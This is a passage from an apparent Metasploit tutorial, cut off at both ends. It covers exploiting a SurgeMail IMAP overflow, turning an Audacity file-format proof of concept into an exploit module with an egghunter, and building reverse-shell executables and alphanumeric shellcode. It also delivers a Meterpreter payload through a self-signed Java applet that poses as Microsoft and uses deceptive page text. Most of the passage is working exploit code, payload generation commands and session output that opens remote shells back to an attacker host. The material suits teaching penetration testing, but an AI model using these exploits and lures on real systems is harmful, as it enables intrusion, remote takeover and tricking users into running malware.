target address RPORT 143 yes The target port Payload options (windows/shell/bind_tcp): EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 172.16.30.7 no The target address Exploit target: Id Name -- ---- 0 Windows Universal Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for example). Now we check for the server version: msf exploit(surgemail_list) > check [+] The target is vulnerable. Yes! Now let's run the exploit attaching the debugger to the surgemail.exe process to see if the offset to overwrite SEH is correct: root@bt:~$ ./msfcli exploit/windows/imap/surgemail_list PAYLOAD=windows/shell/bind_tcp RHOST=172.16.30.7 IMAPPWD=test IMAPUSER=test E [*] Sending payload The offset is correct, we can now set a breakpoint at our return address: Now we can redirect the execution flow into our buffer executing the POP POP RET instructions: and finally execute the two jumps on the stack which will land us inside our NOP sled: So far so good, time to get our Meterpreter shell, let's rerun the exploit without the debugger: msf exploit(surgemail_list) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(surgemail_list) > exploit [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (172.16.30.34:63937 -> 172.16.30.7:4444) meterpreter > execute -f cmd.exe -c -i Process 672 created. Channel 1 created. c:\surgemail> Success! We have fuzzed a vulnerable server and built a custom exploit using the amazing features offered by Metasploit. Using the Egghunter Mixin The MSF egghunter mixin is a wonderful module which can be of great use in exploit development. If you're not familiar with the concepts of egghunters, read this. A recent vulnerability in the Audacity Audio Editor presented us with an opportunity to examine this mixin in greater depth. In the next module, we will exploit Audacity and create a Metasploit file format exploit module for it. We will not focus on the exploitation method itself or the theory behind it - but dive right into the practical usage of the Egghunter mixin. Setting up Audacity 1. Download and install the vulnerable software on your XP SP2 box ./archive/audacity-win-1.2.6.exe ./archive/LADSPA_plugins-win-0.4.15.exe 2. Download and examine the original POC, taken from : http://milw0rm.com/exploits/7634 Porting the PoC Let's port this POC to an MSF file format exploit module. We can use an existing module to get a general template. The zinfaudioplayer221_pls.rb exploit provides us with a good start. Our skeleton exploit should look similar to this. Notice our buffer being generated here: def exploit buff = Rex::Text.pattern_create(2000) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buff) end We use Rex::Text.pattern_create(2000) to create a unique string of 2000 bytes in order to be able to track buffer locations in the debugger. Once we have the POC ported, we generate the exploit file and transfer it to our Windows box. Use the generic/debug_trap payloads to begin with. + -- --=[ 399 exploits - 246 payloads + -- --=[ 21 encoders - 8 nops =[ 182 aux msf exploit(audacity) > show options Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME evil.gro yes The file name. OUTPUTPATH /var/www yes The location of the file. Payload options (generic/debug_trap): Name Current Setting Required Description ---- --------------- -------- ----------- Id Name -- ---- 0 Audacity Universal 1.2 msf exploit(audacity) > exploit [*] Creating 'evil.gro' file ... [*] Generated output file /var/www/evil.gro [*] Exploit completed, but no session was created. msf exploit(audacity) > We open Audacity, attach a debugger to it and import the MIDI gro file. We immediately get an exception from Audacity, and the debugger pauses: A quick look at the SEH chain shows that we have overwritten an exception handler. We take the exception (shift + F9), and see the following: Finding a Return Address This is a standard SEH overflow. We can notice some of our user input a "pop, pop, ret" away from us on the stack. An interesting thing to notice from the screenshot above is the fact that we sent a 2000 byte payload - however it seems that when we return to our buffer, it gets truncated. We have around 80 bytes of space for our shellcode (marked in blue). We use the Immunity !safeseh function to locate unprotected dll's from which a return address can be found. We copy over the DLL and search for a POP POP RET instruction combination using msfpescan. root@bt4:/pentest/exploits/framework3# ./msfpescan -p libfftw3f-3.dll [libfftw3f-3.dll] 0x637410a9 pop esi; pop ebp; retn 0x000c 0x63741383 pop edi; pop ebp; ret 0x6374144c pop edi; pop ebp; ret 0x637414d3 pop edi; pop ebp; ret 0x637f597b pop edi; pop ebp; ret 0x637f5bb6 pop edi; pop ebp; ret root@bt4:/pentest/exploits/framework3# PoC to Exploit As we used the pattern_create function to create our initial buffer, we can now calculate the buffer lenth required to overwrite our exception handler. root@bt4:/pentest/exploits/framework3/tools# ./pattern_offset.rb 67413966 178 root@bt4:/pentest/exploits/framework3/tools# We modify our exploit accordingly by introducing a valid return address. [ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ], We then adjust the buffer to redirect the execution flow at the time of the crash to our return address, jump over it (xEB is a "short jump") and then land in the breakpoint buffer (xCC). buff = "\x41" * 174 buff << "\xeb\x06\x41\x41" buff << [target.ret].pack('V') buff << "\xCC" * 2000 Once again, we generate our exploit file, attach Audacity to the debugger and import the malicious file. This time, the SEH should be overwritten with our address - the one that will lead us to a pop, pop, ret instruction set. We set a breakpoint there, and once again, take the exception with shift + F9 and walk through our pop pop ret with F8. The short jump takes us over our return address, into our "shellcode buffer". Once again, we have very little buffer space for our payload.A quick inspection of the memory reveals that our full buffer length can be found in the heap. Knowing this, we could utilise our initial 80 byte space to execute an egghunter, which would look for and find the secondary payload. Implementing the MSF egghunter is relatively easy: hunter = generate_egghunter egg = hunter[1] buff << "\x90"*4 buff << hunter[0] buff << "\xCC" * 200 buff << egg + egg buff << payload.encoded The final exploit looks like this. We run the final exploit through a debugger to make sure everything is in order. We can see the egghunter was implemented correctly and is working perfectly. We generate out final weaponised exploit: root@bt4:/pentest/exploits/framework3# ./msfconsole =[ msf v3.3-dev + -- --=[ 397 exploits - 239 payloads + -- --=[ 20 encoders - 7 nops =[ 181 aux msf > search audacity [*] Searching loaded modules for pattern 'audacity'... windows/fileformat/audacity Audacity 1.2.6 (GRO File) SEH Overflow. msf > use windows/fileformat/audacity msf exploit(audacity) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(audacity) > show options Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME auda_eviL.gro yes The file name. OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file. Payload options (windows/meterpreter/reverse_tcp): LHOST 192.168.2.15 yes The local address 0 Audacity Universal 1.2 msf exploit(audacity) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Creating 'auda_eviL.gro' file ... [*] Generated output file /pentest/exploits/framework3/data/exploits/auda_eviL.gro [*] Exploit completed, but no session was created. And get a meterpreter shell! msf exploit(audacity) > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.2.15 LHOST => 192.168.2.15 msf exploit(handler) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... [*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.109:1445) meterpreter > Here is a video of Immunity going through the functioning exploit: http://www.youtube.com/watch?v=LfgAXfAWQXM Client Side Exploits Client-Side exploits are always a fun topic and a major front for attackers today. As network administrators and software developers fortify the perimeter, pentesters need to find a way to make the victims open the door for them to get into the network. Client-side exploits require user-interaction such as enticing them to click a link, open a document, or somehow get to your malicious website. There are many different ways of using Metasploit to perform client-side attacks and we will demonstrate a few of them here. Binary Payloads It seems like Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering, if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software. Let's look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this we will use the command line tool msfpayload. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the X command. We'll generate a Windows reverse shell executable that will connect back to us on port 31337. Notice that msfpayload operates the same way as msfcli in that you can append the letter 'O' to the end of the command string to see which options are available to you. root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O Name: Windows Command Shell, Reverse TCP Inline Version: 6479 Platform: Windows Arch: x86 Needs Admin: No Total size: 287 vlad902 vlad902@gmail.com Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC seh yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port Description: Connect back to attacker and spawn a command shell root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O Name: Windows Command Shell, Reverse TCP Inline Version: 6479 Platform: Windows Arch: x86 Total size: 287 vlad902 vlad902@gmail.com LHOST 172.16.104.130 yes The local address LPORT 31337 yes The local port root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp Length: 287 Options: LHOST=172.16.104.130,LPORT=31337 root@bt:/pentest/exploits/framework3# file /tmp/1.exe /tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit Ok, now we see we have a windows executable ready to go. Now, we will use 'multi/handler' which is a stub that handles exploits launched outside of the framework. ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ metasploit v3.3-rc1 [core:3.3 api:1.0] + -- --=[ 371 exploits - 234 payloads =[ 149 aux msf > use exploit/multi/handler msf exploit(handler) > show options Name Current Setting Required Description ---- --------------- -------- ----------- 0 Wildcard Target When using the 'exploit/multi/handler' module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated. msf exploit(handler) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp Payload options (windows/shell/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LHOST yes The local address LPORT 4444 yes The local port msf exploit(handler) > set LHOST 172.16.104.130 LHOST => 172.16.104.130 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > Now that we have everything set up and ready to go, we run 'exploit' for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell. [*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150) C:\Documents and Settings\Jim\My Documents> There are cases where you need to obtain a pure alphanumeric shellcode because of character filtering in the exploited application. MSF can generate alphanumeric shellcode easily through msfencode. For example, to generate a mixed alphanumeric uppercase and lowercase encoded shellcode, we can use the following command: root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 659 (iteration=1) unsigned char buf[] = "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4d\x38\x4c\x49\x45\x50\x45\x50\x45\x50\x43\x50\x4d\x59" "\x4d\x35\x50\x31\x49\x42\x42\x44\x4c\x4b\x50\x52\x50\x30\x4c" "\x4b\x51\x42\x44\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x44\x32" "\x51\x38\x44\x4f\x4e\x57\x50\x4a\x47\x56\x46\x51\x4b\x4f\x50" "\x31\x49\x50\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x45\x52\x46\x4c" "\x47\x50\x49\x51\x48\x4f\x44\x4d\x43\x31\x48\x47\x4b\x52\x4a" "\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x42\x30\x4c\x4b\x47\x32" "\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x44\x38\x4d\x55\x49" "\x50\x44\x34\x50\x4a\x45\x51\x48\x50\x50\x50\x4c\x4b\x50\x48" "\x44\x58\x4c\x4b\x51\x48\x51\x30\x43\x31\x4e\x33\x4b\x53\x47" "\x4c\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4e\x36\x50\x31" "\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x49\x51\x48\x4f\x44\x4d\x45" "\x51\x49\x57\x50\x38\x4d\x30\x42\x55\x4c\x34\x45\x53\x43\x4d" "\x4c\x38\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x51\x48\x4c" "\x4b\x51\x48\x47\x54\x45\x51\x49\x43\x42\x46\x4c\x4b\x44\x4c" "\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x43\x31\x48\x53\x4c\x4b\x43" "\x34\x4c\x4b\x43\x31\x48\x50\x4c\x49\x50\x44\x51\x34\x51\x34" "\x51\x4b\x51\x4b\x45\x31\x46\x39\x51\x4a\x50\x51\x4b\x4f\x4b" "\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4b\x36" "\x51\x4d\x43\x58\x50\x33\x50\x32\x43\x30\x43\x30\x42\x48\x43" "\x47\x43\x43\x50\x32\x51\x4f\x50\x54\x43\x58\x50\x4c\x43\x47" "\x51\x36\x43\x37\x4b\x4f\x4e\x35\x4e\x58\x4a\x30\x43\x31\x45" "\x50\x45\x50\x51\x39\x49\x54\x50\x54\x46\x30\x43\x58\x46\x49" "\x4b\x30\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x50" "\x50\x46\x30\x51\x50\x46\x30\x51\x50\x46\x30\x43\x58\x4a\x4a" "\x44\x4f\x49\x4f\x4d\x30\x4b\x4f\x48\x55\x4d\x47\x50\x31\x49" "\x4b\x51\x43\x45\x38\x43\x32\x45\x50\x44\x51\x51\x4c\x4d\x59" "\x4d\x36\x42\x4a\x44\x50\x50\x56\x51\x47\x42\x48\x48\x42\x49" "\x4b\x46\x57\x43\x57\x4b\x4f\x48\x55\x51\x43\x50\x57\x45\x38" "\x48\x37\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46" "\x33\x50\x57\x45\x38\x43\x44\x4a\x4c\x47\x4b\x4b\x51\x4b\x4f" "\x49\x45\x51\x47\x4c\x57\x43\x58\x44\x35\x42\x4e\x50\x4d\x43" "\x51\x4b\x4f\x4e\x35\x42\x4a\x43\x30\x42\x4a\x45\x54\x50\x56" "\x51\x47\x43\x58\x45\x52\x48\x59\x49\x58\x51\x4f\x4b\x4f\x4e" "\x35\x4c\x4b\x47\x46\x42\x4a\x51\x50\x43\x58\x45\x50\x42\x30" "\x43\x30\x45\x50\x46\x36\x43\x5a\x45\x50\x45\x38\x46\x38\x49" "\x34\x46\x33\x4a\x45\x4b\x4f\x49\x45\x4d\x43\x46\x33\x42\x4a" "\x45\x50\x50\x56\x50\x53\x50\x57\x45\x38\x44\x42\x49\x49\x49" "\x58\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x47\x59\x49\x56" "\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x49\x53\x44\x4a\x41\x41"; If you look deeper at the generated shellcode, you will see that there are some non alphanumeric characters though: >>> print shellcode ???t$?^VYIIIIIIIIICCCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMKXKIKOKOKOE0LKBLQ4Q4LKQUGLLKCLC5CHEQJOLKPOB8LKQOGPC1 JKPILKGDLKC1JNP1IPLYNLK4IPD4EWIQHJDMC1IRJKKDGKPTQ4GXCEKULKQOFDC1JKE6LKDLPKLKQOELEQJKDCFLLKMYBLFDELE1HCP1IKE4LKG3P0LKG0D LLKBPELNMLKG0C8QNBHLNPNDNJLF0KOHVBFPSCVE8P3GBBHD7BSGBQOF4KOHPE8HKJMKLGKPPKON6QOK9M5CVMQJMEXC2QEBJERKOHPCXIIEYKENMQGKON6 QCQCF3PSF3G3PSPCQCKOHPBFCXB1QLE6QCMYM1J5BHNDDZD0IWF7KOIFCZDPPQQEKON0E8NDNMFNJIPWKOHVQCF5KON0BHJEG9LFQYF7KOIFF0PTF4QEKOH PJ3E8JGCIHFBYF7KON6PUKOHPBFCZE4E6E8BCBMK9M5BJF0PYQ9HLMYKWBJG4MYM2FQIPL3NJKNQRFMKNPBFLJ3LMCJGHNKNKNKBHCBKNNSDVKOCEQTKOHV QKQGPRF1PQF1CZEQPQPQPUF1KOHPE8NMN9DEHNF3KOIFCZKOKOFWKOHPLKQGKLLCITE4KOHVF2KOHPCXJPMZDDQOF3KOHVKOHPDJAA This is due to the opcodes ("\x89\xe2\xdb\xdb\xd9\x72") at the beginning of the payload which are needed in order to find the payloads absolute location in memory and obtain a fully position-independent shellcode: Once our shellcode address is obtained through the first two instructions, it is pushed onto the stack and stored in the ECX register which will then be used to calculate relative offsets. However, if we are able somehow to obtain the absolute position of the shellcode on our own and save that address in a register before running the shellcode, we can use the special option BufferRegister=REG32 while encoding our payload: root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R | ./msfencode BufferRegister=ECX -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 651 (iteration=1) "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50" "\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x43\x30\x43" "\x30\x45\x50\x45\x30\x4c\x49\x4b\x55\x50\x31\x48\x52\x43\x54" "\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x50" "\x52\x45\x44\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50\x4a" "\x46\x46\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43" "\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x49\x51\x48\x4f\x44\x4d" "\x43\x31\x49\x57\x4b\x52\x4a\x50\x51\x42\x51\x47\x4c\x4b\x51" "\x42\x42\x30\x4c\x4b\x50\x42\x47\x4c\x43\x31\x48\x50\x4c\x4b" "\x51\x50\x42\x58\x4b\x35\x49\x50\x43\x44\x50\x4a\x43\x31\x48" "\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x50\x58\x47\x50" "\x43\x31\x49\x43\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34\x4c" "\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c" "\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x47\x48\x4b\x50\x43" "\x45\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46\x44" "\x42\x55\x4a\x42\x46\x38\x4c\x4b\x50\x58\x47\x54\x45\x51\x49" "\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c" "\x45\x51\x4e\x33\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4b" "\x39\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x51\x49" "\x51\x4a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c" "\x4b\x45\x42\x4a\x4b\x4b\x36\x51\x4d\x45\x38\x47\x43\x47\x42" "\x45\x50\x43\x30\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f\x50" "\x54\x43\x58\x50\x4c\x44\x37\x46\x46\x45\x57\x4b\x4f\x4e\x35" "\x48\x38\x4c\x50\x43\x31\x45\x50\x45\x50\x51\x39\x48\x44\x50" "\x54\x46\x30\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f" "\x49\x45\x50\x50\x50\x50\x50\x50\x46\x30\x51\x50\x50\x50\x47" "\x30\x46\x30\x43\x58\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f" "\x4e\x35\x4a\x37\x50\x31\x49\x4b\x50\x53\x45\x38\x43\x32\x43" "\x30\x44\x51\x51\x4c\x4d\x59\x4b\x56\x42\x4a\x42\x30\x51\x46" "\x50\x57\x43\x58\x48\x42\x49\x4b\x50\x37\x43\x57\x4b\x4f\x49" "\x45\x50\x53\x50\x57\x45\x38\x4e\x57\x4d\x39\x47\x48\x4b\x4f" "\x4b\x4f\x48\x55\x51\x43\x46\x33\x46\x37\x45\x38\x42\x54\x4a" "\x4c\x47\x4b\x4b\x51\x4b\x4f\x4e\x35\x50\x57\x4c\x57\x42\x48" "\x42\x55\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49\x45\x42\x4a\x43" "\x30\x42\x4a\x45\x54\x50\x56\x50\x57\x43\x58\x44\x42\x4e\x39" "\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x4c\x4b\x46\x56\x42\x4a\x47" "\x30\x42\x48\x45\x50\x44\x50\x43\x30\x43\x30\x50\x56\x43\x5a" "\x43\x30\x43\x58\x46\x38\x4e\x44\x50\x53\x4d\x35\x4b\x4f\x48" "\x55\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x51\x47" "\x42\x48\x43\x32\x4e\x39\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x43" "\x31\x48\x43\x51\x39\x49\x56\x4c\x45\x4a\x56\x43\x45\x4a\x4c" "\x49\x53\x45\x5a\x41\x41"; This time we obtained a pure alphanumeric shellcode: IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLBJJKPMM8KIKOKOKOE0LKBLFDFDLKPEGLLKCLC5D8C1JOLKPOEHLKQOGPEQJKPILKGD LKEQJNFQIPMINLLDIPCDC7IQHJDMC1HBJKJTGKF4GTFHBUJELKQOGTC1JKCVLKDLPKLKQOELEQJKESFLLKLIBLFDELE1HCP1IKE4LKG3FPLKG0DLLKBPELN MLKG0DHQNE8LNPNDNJLPPKOHVE6QCE6CXP3FRE8CGCCP2QOPTKON0CXHKJMKLGKF0KOHVQOMYM5E6K1JMEXC2PUBJDBKON0CXN9C9KENMPWKON6QCF3F3F3 PSG3PSPCQCKOHPBFE8DQQLBFPSMYKQMECXNDDZBPIWQGKOHVBJB0PQPUKOHPBHNDNMFNKYPWKON6QCF5KOHPCXKUG9K6QYQGKOHVF0QDF4QEKON0MCCXKWD 9HFBYQGKOIFQEKON0BFCZBDE6CXCSBMMYJECZF0F9FIHLK9KWCZQTK9JBFQIPKCNJKNQRFMKNG2FLMCLMBZFXNKNKNKCXCBKNNSB6KOD5QTKON6QKF7QBF1 PQF1BJC1F1F1PUPQKON0CXNMIIDEHNQCKOHVBJKOKOGGKOHPLKF7KLLCITBDKON6QBKOHPE8L0MZETQOQCKOHVKOHPEZAA In this case, we told msfencode that we took care of finding the shellcodes absolute address and we saved it in the ECX register: As you can see in the previous image, ECX was previously set in order to point to the beginning of our shellcode. At this point, our payload starts directly realigning ECX to begin the shellcode decoding sequence. Java Applet Infection Joshua Abraham (jabra) published a great article which was based on a talk given at the Infosec World Conference with Rafal Los and can be found at http://blog.spl0it.org. Essentially, what the two were able to do is build a java applet that once executed in a browser will actually allow us to execute a Meterpreter payload if the target accepts the security warning. Before we dive into this we need to meet some prerequisites on our attackers machine before we begin. root@bt4:/# apt-get install sun-java6-jdk Jabra has simplified most of the process with the bash script below to reduce input errors. You can download this script at: http://spl0it.org/files/makeapplet.sh #!/bin/bash # # Shell script to sign a Java Applet # Joshua "Jabra" Abraham # Tue Jun 30 02:26:36 EDT 2009 # 1. Compile the Applet source code to an executable class. # javac HelloWorld.java # 2. Package the compiled class into a JAR file. # jar cvf HelloWorld.jar HelloWorld.class # 3. Generate key pairs. # keytool genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass mystorepass # 4. Sign the JAR file. # jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass - signedjar SignedHelloWorld.jar # HelloWorld.jar signapplet # 5. Export the public key certificate. # keytool -export -keystore mykeystore -storepass mystorepass -alias signapplet -file mycertificate.cer # 6. Deploy the JAR and the class file. # echo "Enter the name of the applet without the extension:" read NAMEjavac $NAME.javaif [ $? -eq 1 ] ; then echo "Error with javac" fi echo "[+] Packaging the compiled class into a JAR file" jar cf $NAME.jar $NAME.class if [ $? -eq 1 ] ; then echo "Error with jar" echo "[+] Generating key pairs" keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass mystorepass echo "Error with generating the key pair" echo "[+] Signing the JAR file" jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass -signedjar "Signed$NAME.jar" $NAME.jar signapplet echo "Error with signing the jar" echo "[+] Exporting the public key certificate" keytool -export -keystore mykeystore -storepass mystorepass -alias signapplet -file mycertificate.cer echo "Error with exporting the public key" echo "[+] Done" sleep 1 echo "" echo "Deploy the JAR and certificate files. They should be deployed to a directory on a Web server." echo " " We will now make a working directory for us to store this file and then grab it from his site or copy and paste it into your favorite text editor. root@bt4:/# mkdir ./java-applet root@bt4:/# cd ./java-applet We need to make a java applet which we will then sign. For this, we will copy and paste the text below into your favorite text editor and save it as : "MSFcmd.java". For the remainder of this module, leave your editor open as you will need to modify some parameters as we go along with this module. import java.applet.*; import java.awt.*; import java.io.*; public class MSFcmd extends Applet { public void init() { Process f; String first = getParameter("first"); try { f = Runtime.getRuntime().exec("first"); } catch(IOException e) { e.printStackTrace(); Process s; Next, we will use Jabras shell script to aid us in making our certificate. The following command will download the script, make it executable, and then launch the script to produce the certs. root@bt4:/java-applet/# wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh root@bt4:/java-applet/# ./makeapplet.sh Enter the name of the applet without the extension: MSFcmd [+] Packaging the compiled class into a JAR file [+] Generating key pairs What is your first and last name? [Unknown]: MSFcmd What is the name of your organizational unit? [Unknown]: Microsoft What is the name of your organization? [Unknown]: Microsoft Organization What is the name of your City or Locality? [Unknown]: Redmond What is the name of your State or Province? [Unknown]: Washington What is the two-letter country code for this unit? [Unknown]: US Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes [+] Signing the JAR file Warning: The signer certificate will expire within six months. [+] Exporting the public key certificate Certificate stored in file [+] Done Now that everything is setup for us, we need to deploy the JAR and the class file. root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/www/ root@bt4:/java-applet/# cp MSFcmd.class /var/www/ root@bt4:/java-applet/# apache2ctl start Now that the applet is deployed, we will have to create a Meterpreter payload. Change 'X.X.X.X' in the examples below to match your Attackers IP address. This command uses msfpayload to create a Reverse TCP Meterpreter Shell with our victim. We generate this payload in Raw format and pipe it into msfencode, saving the payload as an executable. The executable is then copied to our web root directory and made executable. root@bt4:/pentest/exploits/framework3/# ./msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o my.exe root@bt4:/pentest/exploits/framework3/# cp ./my.exe /var/www/ root@bt4:/pentest/exploits/framework3/# chmod a+x /var/www/my.exe Now we need to add a command into our index.html file which will allow the client to download and execute our payload. Basically, this page will launch a java applet signed by ourselves, which, when given permission by the client, will then call cmd.exe from their system, echoing lines into a vbs script named "apsou.vbs". Be forewarned that this file can be found on the system after all successful and "some" failed attempts. After this file is created, the same command string launches the vbs script and feeds it a variable, the attackers link to the payload "my.exe". Once the payload has been downloaded it will then execute my.exe with that users permissions. We need to modify our index.html page which our clients will view. In a real world scenario, a pentester might try adding some video, web browser games, or other activities to distract or entertain the victim. Clever trickery such as Social Engineering can greatly benefit this type of attack by directing your targets to a specific URL and telling them to accept the security warning to continue viewing your site or use your "Custom Secure IM applet". You can also have different payloads in different folders waiting for different clients. Enter the command below as one continuous line and be sure to change 'X.X.X.X' to your attacking IP address. root@bt4:/pentest/exploits/framework3/# echo "" > /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo " " >> /var/www/index.html We will also add a message prompting the user to accept our malicious applet. root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet. We are sorry for any inconvenience. " >> /var/www/index.html We now need to setup the Metasploit multi/handler to listen for connection attempts from the clients. We will be listening for a reverse shell from the target on port 443. This port is associated with HTTPS traffic and most organizations firewalls permit this internal traffic leaving their networks. As before, change the 'X.X.X.X' to your attackers IP address. msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set LHOST X.X.X.X LHOST => X.X.X.X msf exploit(handler) > set LPORT 443 LPORT +> 443 msf exploit(handler) > save msf exploit(handler) >exploit -j [*] Exploit running as background job. When a victim browses to our website and accepts the security warning, the Meterpreter payload runs and connects back to our handler. msf exploit(handler) > [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (A.A.A.A:443 -> T.T.T.T:44477) msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps Process list ============ PID Name Path --- ---- ---- 204 jusched.exe C:\ProgramFiles\Java\jre6\bin\jusched.exe 288 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe 744 smss.exe \SystemRoot\System32\smss.exe 912 winlogon.exe C:\WINDOWS\system32\winlogon.exe 972 services.exe C:\WINDOWS\system32\services.exe 984 lsass.exe C:\WINDOWS\system32\lsass.exe 1176 svchost.exe C:\WINDOWS\system32\svchost.exe 1256 java.exe C:\Program Files\Java\jre6\bin\java.exe 1360 svchost.exe C:\WINDOWS\System32\svchost.exe 1640 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1712 Explorer.EXE C:\WINDOWS\Explorer.EXE 1872 